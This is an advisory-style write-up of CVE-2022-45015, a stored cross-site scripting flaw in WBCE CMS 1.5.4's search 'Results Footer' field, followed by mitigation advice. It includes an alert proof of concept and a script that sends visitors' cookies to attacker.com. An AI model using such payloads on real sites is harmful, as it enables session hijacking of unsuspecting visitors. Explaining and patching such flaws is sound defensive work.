CVE-2022-45015 - Exploiting XSS in WBCE CMS v1.5.4 Search Settings (Results Footer Field)

In late 2022, a critical client-side security flaw was identified in WBCE CMS version 1.5.4. The vulnerability, cataloged as CVE-2022-45015, allows a remote attacker to execute arbitrary JavaScript code on unsuspecting users’ browsers via Cross-Site Scripting (XSS). This bug specifically hides in the “Search Settings” module, more precisely in the “Results Footer” input field, which is prone to improper sanitization.

In practical terms, an attacker with admin panel access or who has tricked an admin into using a crafted payload could place malicious scripts that run for every site visitor. Let’s break down how this happens, see the proof-of-concept, and understand potential risks.

What Is WBCE CMS?

WBCE CMS is a PHP-based content management system popular for its lightweight features and modular structure. If you use version 1.5.4, you might be at risk for this vulnerability if not patched!

Vulnerable Version: WBCE CMS 1.5.4 (and possibly below)

- CVE: CVE-2022-45015

The CMS does not properly sanitize or filter HTML/JavaScript input in the “Results Footer” field in the search settings. This allows an attacker to inject scripts that run on any page displaying the search results.

How Does the Exploit Work?

The Results Footer field lets an admin (or anyone with access) enter custom HTML to be shown after search results. The system fails to escape harmful JavaScript in this field. Thus, a malicious payload sneaked into this field gets output as live HTML/JS on any future search.

Typical attack scenario

1. Attacker logs in as admin or tricks (via phishing or social engineering) an admin to paste a payload in the Results Footer field.

Proof-of-Concept Exploit

Here’s how you could reproduce this vulnerability.

As an admin, go to

Admin Panel > Modules > Search > Settings

Paste the following payload

<script>alert('XSS via Results Footer!');</script>

!WBCE CMS Search Settings
*Typical location of Results Footer setting in admin panel.*

When the search results display, *your script runs*. In the browser, you’ll see

[Popup] XSS via Results Footer!

Attackers could use more dangerous code, such as stealing session cookies

<script>
  fetch('https://attacker.com/log';, {
    method: 'POST',
    body: document.cookie
  });
</script>

Real-World Impact

Because this exploit is persistent (stored XSS), every single user who triggers site search could run the attacker’s code in their own session—*not just admins*.

Potential consequences include

- Cookie/session/token theft

Update Immediately:

Upgrade to the latest WBCE CMS version where this flaw is patched.

Sanitize User Input:

If patching is not possible, manually remove any scripts from “Results Footer” and avoid pasting untrusted content.

*Example mitigation code snippet:*

echo htmlspecialchars($results_footer, ENT_QUOTES, 'UTF-8');

References & Further Reading

- Official CVE: CVE-2022-45015
- WBCE CMS Source: WBCE_CMS on GitHub
- Exploit-DB Entry: EDB-ID: 51152
- OWASP XSS Guide: OWASP Cheat Sheet

Conclusion

Cross-Site Scripting vulnerabilities like CVE-2022-45015 remain a leading threat in CMS ecosystems. All input and output fields—especially those accessible in the backend—must undergo proper validation and escaping.

If you maintain a WBCE CMS instance, validate your plugin, review your configurations, and update immediately. Website security is only as strong as your weakest input field!

Stay safe, and always sanitize!

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Timeline

Published on: 11/21/2022 15:15:00 UTC
Last modified on: 11/21/2022 20:27:00 UTC